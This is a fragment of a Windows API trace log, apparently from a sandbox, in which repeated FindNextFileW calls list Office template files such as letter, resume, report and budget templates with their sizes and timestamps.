	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2c5ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x96f4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieNewsletter.dotx", cAlternateFileName="BLACKT~3.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e312190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x6724a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieResume.dotx", cAlternateFileName="BLACKT~4.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494000, ftCreationTime.dwHighDateTime=0x1ca582b, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe494000, ftLastWriteTime.dwHighDateTime=0x1ca582b, nFileSizeHigh=0x0, nFileSizeLow=0x4352, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx", cAlternateFileName="BLOG~1.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BloodPressureTracker.xltx", cAlternateFileName="BLOODP~1.XLT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb72000, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6eb72000, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx", cAlternateFileName="CLASSI~1.POT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b535800, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8b535800, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContemporaryPhotoAlbum.potx", cAlternateFileName="CONTEM~1.POT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x26022, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityLetter.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x145ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeFax.Dotx", cAlternateFileName="EQUITY~2.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x25ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeLetter.Dotx", cAlternateFileName="EQUITY~3.DOT")) returned 1
	[0053.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bec38, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityReport.Dotx", cAlternateFileName="EQUITY~4.DOT")) returned 1
	[0053.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x45054, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityResume.Dotx", cAlternateFileName="EQD69A~1.DOT")) returned 1
	[0053.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialLetter.dotx", cAlternateFileName="ESSENT~1.DOT")) returned 1
	[0053.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea93, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialMergeLetter.dotx", cAlternateFileName="ESSENT~2.DOT")) returned 1
	[0053.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xbc195, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialReport.dotx", cAlternateFileName="ESSENT~3.DOT")) returned 1
	[0053.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x47014, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialResume.dotx", cAlternateFileName="ESSENT~4.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x11d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveLetter.dotx", cAlternateFileName="EXECUT~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x12042, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveMergeLetter.dotx", cAlternateFileName="EXECUT~2.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3d49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveNewsletter.dotx", cAlternateFileName="EXECUT~3.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xcb42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveReport.dotx", cAlternateFileName="EXECUT~4.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveResume.dotx", cAlternateFileName="EX9D69~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExpenseReport.xltx", cAlternateFileName="EXPENS~1.XLT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAX", cAlternateFileName="")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba83800, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5b76030, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ba83800, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x10b563f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntroducingPowerPoint2010.potx", cAlternateFileName="INTROD~1.POT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cbba, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianLetter.Dotx", cAlternateFileName="MEDIAN~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1955a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianMergeFax.Dotx", cAlternateFileName="MEDIAN~2.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianMergeLetter.Dotx", cAlternateFileName="MEDIAN~3.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x48355, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianReport.Dotx", cAlternateFileName="MEDIAN~4.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x290e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianResume.Dotx", cAlternateFileName="ME105B~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xab82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Word 2003 Look.dotx", cAlternateFileName="OFFICE~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE", cAlternateFileName="")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeFax.Dotx", cAlternateFileName="ORIELM~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2b308, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeLetter.Dotx", cAlternateFileName="ORIELM~2.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x82b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielReport.Dotx", cAlternateFileName="ORIELR~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x4ab41, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielResume.Dotx", cAlternateFileName="ORIELR~2.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~1.DOT")) returned 1
	[0053.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x172e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeFax.Dotx", cAlternateFileName="ORIGIN~2.DOT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f314, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5b011, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginReport.Dotx", cAlternateFileName="ORIGIN~4.DOT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x23247, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginResume.Dotx", cAlternateFileName="ORAE40~1.DOT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x75b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalMonthlyBudget.xltx", cAlternateFileName="PERSON~1.XLT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb12da100, ftCreationTime.dwHighDateTime=0x1c69a95, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb12da100, ftLastWriteTime.dwHighDateTime=0x1c69a95, nFileSizeHigh=0x0, nFileSizeLow=0x2e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitchbook.potx", cAlternateFileName="PITCHB~1.POT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x9fd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusReport.potx", cAlternateFileName="PROJEC~1.POT")) returned 1
